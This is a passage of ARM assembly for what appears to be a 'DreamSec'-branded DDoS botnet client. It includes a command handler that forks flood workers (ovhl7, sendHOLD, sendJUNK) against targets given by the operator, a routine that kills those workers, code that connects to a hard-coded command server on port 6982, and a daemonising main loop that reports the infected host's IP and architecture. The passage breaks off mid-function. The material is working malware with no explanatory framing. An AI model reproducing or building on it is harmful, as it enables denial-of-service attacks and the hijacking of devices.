	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L609
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L610
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r5, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r6, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	ovhl7
	mov	r0, #0
	bl	exit
.L536:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+80
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L540
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L611
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+88
	cmp	r3, r2
	bgt	.L611
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L611
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L612
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r5, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r6, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	ovhl7
	mov	r0, #0
	bl	exit
.L540:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+84
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L544
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L613
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+88
	cmp	r3, r2
	bgt	.L613
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L613
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L614
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r5, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r6, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	ovhl7
	mov	r0, #0
	bl	exit
.L544:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+92
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L548
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L615
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L615
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L615
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-116]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-112]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-108]
	mov	r1, #44
	ldr	r0, [fp, #-116]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L551
	ldr	r1, .L619+104
	ldr	r0, [fp, #-116]
	bl	strtok
	str	r0, [fp, #-320]
	b	.L552
.L554:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L553
	ldr	r2, [fp, #-108]
	ldr	r1, [fp, #-112]
	ldr	r0, [fp, #-320]
	bl	sendHOLD
	mov	r0, #0
	bl	_exit
.L553:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-320]
.L552:
	ldr	r3, [fp, #-320]
	cmp	r3, #0
	bne	.L554
	b	.L548
.L551:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L616
	ldr	r2, [fp, #-108]
	ldr	r1, [fp, #-112]
	ldr	r0, [fp, #-116]
	bl	sendHOLD
	mov	r0, #0
	bl	_exit
.L548:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+96
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L556
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L617
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L617
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L617
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-104]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-100]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-96]
	mov	r1, #44
	ldr	r0, [fp, #-104]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L559
	ldr	r1, .L619+104
	ldr	r0, [fp, #-104]
	bl	strtok
	str	r0, [fp, #-316]
	b	.L560
.L562:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L561
	ldr	r2, [fp, #-96]
	ldr	r1, [fp, #-100]
	ldr	r0, [fp, #-316]
	bl	sendJUNK
	ldr	r3, .L619+100
	ldr	r3, [r3]
	mov	r0, r3
	bl	close
	mov	r0, #0
	bl	_exit
.L561:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-316]
.L560:
	ldr	r3, [fp, #-316]
	cmp	r3, #0
	bne	.L562
	b	.L556
.L559:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L618
	ldr	r2, [fp, #-96]
	ldr	r1, [fp, #-100]
	ldr	r0, [fp, #-104]
	bl	sendJUNK
	mov	r0, #0
	bl	_exit
.L556:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L621
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L564
	mov	r3, #0
	str	r3, [fp, #-312]
	mov	r3, #0
	str	r3, [fp, #-308]
	b	.L565
.L567:
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-308]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L566
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-308]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r4, [r3]
	bl	getpid
	mov	r3, r0
	cmp	r4, r3
	beq	.L566
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-308]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r1, #9
	mov	r0, r3
	bl	kill
	ldr	r3, [fp, #-312]
	add	r3, r3, #1
	str	r3, [fp, #-312]
.L566:
	ldr	r3, [fp, #-308]
	add	r3, r3, #1
	str	r3, [fp, #-308]
.L565:
	ldr	r3, [fp, #-308]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, .L621+8
	ldmia	r3, {r2-r3}
	cmp	r1, r3
	cmpeq	r0, r2
	bcc	.L567
.L564:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L621+12
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L568
	mov	r3, #0
	str	r3, [fp, #-304]
	mov	r3, #0
	str	r3, [fp, #-300]
	b	.L569
.L571:
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-300]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L570
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-300]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r4, [r3]
	bl	getpid
	mov	r3, r0
	cmp	r4, r3
	beq	.L570
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-300]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r1, #9
	mov	r0, r3
	bl	kill
	ldr	r3, [fp, #-304]
	add	r3, r3, #1
	str	r3, [fp, #-304]
.L570:
	ldr	r3, [fp, #-300]
	add	r3, r3, #1
	str	r3, [fp, #-300]
.L569:
	ldr	r3, [fp, #-300]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, .L621+8
	ldmia	r3, {r2-r3}
	cmp	r1, r3
	cmpeq	r0, r2
	bcc	.L571
.L568:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L621+16
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L393
	mov	r3, #0
	str	r3, [fp, #-296]
	mov	r3, #0
	str	r3, [fp, #-292]
	b	.L572
.L574:
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-292]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L573
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-292]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r4, [r3]
	bl	getpid
	mov	r3, r0
	cmp	r4, r3
	beq	.L573
	ldr	r3, .L621+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-292]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r1, #9
	mov	r0, r3
	bl	kill
	ldr	r3, [fp, #-296]
	add	r3, r3, #1
	str	r3, [fp, #-296]
.L573:
	ldr	r3, [fp, #-292]
	add	r3, r3, #1
	str	r3, [fp, #-292]
.L572:
	ldr	r3, [fp, #-292]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, .L621+8
	ldmia	r3, {r2-r3}
	cmp	r1, r3
	cmpeq	r0, r2
	bcc	.L574
	b	.L393
.L575:
	nop
	b	.L393
.L576:
	nop
	b	.L393
.L577:
	nop
	b	.L393
.L578:
	nop
	b	.L393
.L579:
	nop
	b	.L393
.L580:
	nop
	b	.L393
.L581:
	nop
	b	.L393
.L582:
	nop
	b	.L393
.L583:
	nop
	b	.L393
.L584:
	nop
	b	.L393
.L585:
	nop
	b	.L393
.L586:
	nop
	b	.L393
.L587:
	nop
	b	.L393
.L588:
	nop
	b	.L393
.L589:
	nop
	b	.L393
.L590:
	nop
	b	.L393
.L591:
	nop
	b	.L393
.L592:
	nop
	b	.L393
.L593:
	nop
	b	.L393
.L594:
	nop
	b	.L393
.L595:
	nop
	b	.L393
.L596:
	nop
	b	.L393
.L597:
	nop
	b	.L393
.L598:
	nop
	b	.L393
.L599:
	nop
	b	.L393
.L600:
	nop
	b	.L393
.L601:
	nop
	b	.L393
.L602:
	nop
	b	.L393
.L603:
	nop
	b	.L393
.L604:
	nop
	b	.L393
.L605:
	nop
	b	.L393
.L606:
	nop
	b	.L393
.L607:
	nop
	b	.L393
.L608:
	nop
	b	.L393
.L609:
	nop
	b	.L393
.L610:
	nop
	b	.L393
.L611:
	nop
	b	.L393
.L612:
	nop
	b	.L393
.L613:
	nop
	b	.L393
.L614:
	nop
	b	.L393
.L615:
	nop
	b	.L393
.L616:
	nop
	b	.L393
.L617:
	nop
	b	.L393
.L618:
	nop
.L393:
	sub	sp, fp, #24
	@ sp needed
	pop	{r4, r5, r6, r7, r8, fp, pc}
.L622:
	.align	2
.L621:
	.word	.LC330
	.word	pids
	.word	numpids
	.word	.LC331
	.word	.LC332
	.size	processCmd, .-processCmd
	.section	.rodata
	.align	2
.LC333:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	initConnection
	.syntax unified
	.arm
	.fpu softvfp
	.type	initConnection, %function
initConnection:
	@ args = 0, pretend = 0, frame = 520
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #520
	ldr	r3, .L632
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #520
	mov	r2, #512
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, .L632+4
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L624
	ldr	r3, .L632+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	close
	ldr	r3, .L632+4
	mov	r2, #0
	str	r2, [r3]
.L624:
	ldr	r3, .L632+8
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L625
	ldr	r3, .L632+8
	mov	r2, #0
	str	r2, [r3]
	b	.L626
.L625:
	ldr	r3, .L632+8
	ldr	r3, [r3]
	add	r3, r3, #1
	ldr	r2, .L632+8
	str	r3, [r2]
.L626:
	ldr	r3, .L632+8
	ldr	r3, [r3]
	ldr	r2, .L632+12
	ldr	r2, [r2, r3, lsl #2]
	sub	r3, fp, #520
	mov	r1, r2
	mov	r0, r3
	bl	strcpy
	ldr	r3, .L632+16
	str	r3, [fp, #-524]
	sub	r3, fp, #520
	mov	r1, #58
	mov	r0, r3
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L627
	sub	r3, fp, #520
	mov	r1, #58
	mov	r0, r3
	bl	strchr
	mov	r3, r0
	add	r3, r3, #1
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-524]
	sub	r3, fp, #520
	mov	r1, #58
	mov	r0, r3
	bl	strchr
	mov	r3, r0
	mov	r2, #0
	strb	r2, [r3]
.L627:
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	mov	r3, r0
	ldr	r2, .L632+4
	str	r3, [r2]
	ldr	r3, .L632+4
	ldr	r0, [r3]
	sub	r1, fp, #520
	mov	r3, #30
	ldr	r2, [fp, #-524]
	bl	connectTimeout
	mov	r3, r0
	cmp	r3, #0
	bne	.L628
	mov	r3, #1
	b	.L630
.L628:
	mov	r3, #0
.L630:
	ldr	r2, .L632
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L631
	bl	__stack_chk_fail
.L631:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L633:
	.align	2
.L632:
	.word	.LC333
	.word	mainCommSock
	.word	currentServer
	.word	commServer
	.word	6982
	.size	initConnection, .-initConnection
	.section	.rodata
	.align	2
.LC334:
	.ascii	"\033[0m[\033[1;31mDreamSec.\033[0m][\033[1;31m%s\033"
	.ascii	"[0m]\033[1;31m:\033[0m[\033[1;31m%s\033[0m] \033[1;"
	.ascii	"31m>\033[0m [\033[1;31m%s\033[0m]\000"
	.align	2
.LC335:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 4208
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #4160
	sub	sp, sp, #60
	sub	r3, fp, #4096
	sub	r3, r3, #36
	str	r0, [r3, #-108]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	str	r1, [r3, #-112]
	ldr	r3, .L667
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	mov	r0, #0
	bl	time
	mov	r8, r0
	bl	getpid
	mov	r3, r0
	eor	r3, r3, r8
	mov	r0, r3
	bl	srand
	mov	r0, #0
	bl	time
	mov	r8, r0
	bl	getpid
	mov	r3, r0
	eor	r3, r3, r8
	mov	r0, r3
	bl	init_rand
	bl	getOurIP
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r8, r3
	bl	fork
	mov	r3, r0
	str	r3, [r8, #-64]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-64]
	cmp	r3, #0
	beq	.L635
	sub	r3, fp, #4160
	sub	r3, r3, #36
	sub	r3, r3, #36
	sub	r2, fp, #4096
	sub	r2, r2, #36
	mov	r0, r2
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [r0, #-64]
	bl	waitpid
	mov	r0, #0
	bl	exit
.L635:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-64]
	cmp	r3, #0
	bne	.L636
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r8, r3
	bl	fork
	mov	r3, r0
	str	r3, [r8, #-60]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-60]
	cmp	r3, #0
	beq	.L636
	mov	r0, #0
	bl	exit
.L636:
	bl	setsid
	ldr	r0, .L667+4
	bl	chdir
	mov	r1, #1
	mov	r0, #13
	bl	signal
.L665:
	bl	initConnection
	mov	r3, r0
	cmp	r3, #0
	beq	.L637
	mov	r0, #5
	bl	sleep
	b	.L665
.L637:
	ldr	r3, .L667+8
	ldr	r8, [r3]
	ldr	r3, .L667+12
	ldr	r0, [r3]
	bl	inet_ntoa
	mov	r9, r0
	bl	getPortz
	mov	r10, r0
	bl	getArch
	mov	r3, r0
	str	r3, [sp]
	mov	r3, r10
	mov	r2, r9
	ldr	r1, .L667+16
	mov	r0, r8
	bl	sockprintf
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-56]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-96]
	b	.L639
.L664:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-96]
	b	.L640
.L646:
	ldr	r3, .L667+20
	ldr	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-96]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3]
	mov	r2, #1
	mov	r1, #0
	mov	r0, r3
	bl	waitpid
	mov	r3, r0
	cmp	r3, #0
	ble	.L641
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-96]
	add	r3, r3, #1
	sub	r2, fp, #4096
	sub	r2, r2, #36
	str	r3, [r2, #-92]
	b	.L642
.L643:
	ldr	r3, .L667+20
	ldr	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	lsl	r3, r3, #2
	add	r2, r2, r3
	ldr	r3, .L667+20
	ldr	r1, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	sub	r3, r3, #-1073741823
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r2, [r2]
	str	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	add	r3, r3, #1
	str	r3, [r2, #-92]
.L642:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, .L667+24
	ldmia	r3, {r2-r3}
	cmp	r1, r3
	cmpeq	r0, r2
	bcc	.L643
	ldr	r3, .L667+20
	ldr	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	sub	r3, r3, #-1073741823
	lsl	r3, r3, #2
	add	r3, r2, r3
	mov	r2, #0
	str	r2, [r3]
	ldr	r3, .L667+24
	ldmia	r3, {r2-r3}
	subs	r4, r2, #1
	sbc	r5, r3, #0
	ldr	r3, .L667+24
	stm	r3, {r4-r5}
	ldr	r3, .L667+24
	ldmia	r3, {r2-r3}
	adds	r6, r2, #1
	adc	r7, r3, #0
	mov	r3, r6
	lsl	r3, r3, #2
	sub	r2, fp, #4096
	sub	r2, r2, #36
	mov	r8, r2
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [r8, #-48]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-92]
	b	.L644
.L645:
	ldr	r3, .L667+20
	ldr	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	lsl	r3, r3, #2
	add	r2, r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	lsl	r3, r3, #2
	sub	r1, fp, #4096
	sub	r1, r1, #36
	ldr	r1, [r1, #-48]
	add	r3, r1, r3
	ldr	r2, [r2]
	str	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	add	r3, r3, #1
	str	r3, [r2, #-92]
.L644:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-92]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, .L667+24
	ldmia	r3, {r2-r3}
	cmp	r1, r3
	cmpeq	r0, r2
	bcc	.L645
	ldr	r3, .L667+20
	ldr	r3, [r3]
	mov	r0, r3
	bl	free
	ldr	r2, .L667+20
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-48]
	str	r3, [r2]
.L641:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-96]
	add	r3, r3, #1
	str	r3, [r2, #-96]
.L640:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-96]
	mov	r0, r3
	asr	r1, r0, #31
	ldr	r3, .L667+24
	ldmia	r3, {r2-r3}
	cmp	r1, r3
	cmpeq	r0, r2
	bcc	.L646
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-56]
	add	r3, r2, r3
	sub	r3, r3, #4
	mov	r2, #0
	strb	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	sub	r3, r3, #4
	mov	r0, r3
	bl	trim
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	sub	r3, r3, #4
	str	r3, [r2, #-88]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #33
	bne	.L639
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	add	r3, r3, #1
	str	r3, [r2, #-84]
	b	.L647
.L649:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-84]
	add	r3, r3, #1
	str	r3, [r2, #-84]
.L647:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-84]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #32
	beq	.L648
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-84]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L649
.L648:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-84]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L650
	b	.L639
.L650:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-84]
	mov	r2, #0
	strb	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	add	r3, r3, #1
	str	r3, [r2, #-84]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r0, [r3, #-84]
	bl	strlen
	mov	r3, r0
	add	r3, r3, #2
	sub	r2, fp, #4096
	sub	r2, r2, #36
	mov	r1, r2
	sub	r2, fp, #4096
	sub	r2, r2, #36
	ldr	r2, [r2, #-88]
	add	r3, r2, r3
	str	r3, [r1, #-88]
	b	.L651
.L652:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r0, [r3, #-88]
	bl	strlen
	mov	r3, r0
	sub	r3, r3, #1
	sub	r2, fp, #4096
	sub	r2, r2, #36
	ldr	r2, [r2, #-88]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
.L651:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r0, [r3, #-88]
	bl	strlen
	mov	r3, r0
	sub	r3, r3, #1
	sub	r2, fp, #4096
	sub	r2, r2, #36
	ldr	r2, [r2, #-88]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #10
	beq	.L652
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r0, [r3, #-88]
	bl	strlen
	mov	r3, r0
	sub	r3, r3, #1
	sub	r2, fp, #4096
	sub	r2, r2, #36
	ldr	r2, [r2, #-88]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #13
	beq	.L652
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	str	r3, [r2, #-52]
	b	.L653
.L655:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	add	r3, r3, #1
	str	r3, [r2, #-88]
.L653:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #32
	beq	.L654
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L655
.L654:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	mov	r2, #0
	strb	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-88]
	add	r3, r3, #1
	str	r3, [r2, #-88]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-52]
	str	r3, [r2, #-80]
	b	.L656
.L657:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-80]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r0, r3
	bl	toupper
	mov	r3, r0
	and	r2, r3, #255
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-80]
	strb	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-80]
	add	r3, r3, #1
	str	r3, [r2, #-80]
.L656:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-80]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L657
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #1
	str	r3, [r2, #-76]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r8, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r1, .L667+28
	ldr	r0, [r3, #-88]
	bl	strtok
	str	r0, [r8, #-72]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-52]
	str	r3, [r2, #-44]
	b	.L658
.L660:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-72]
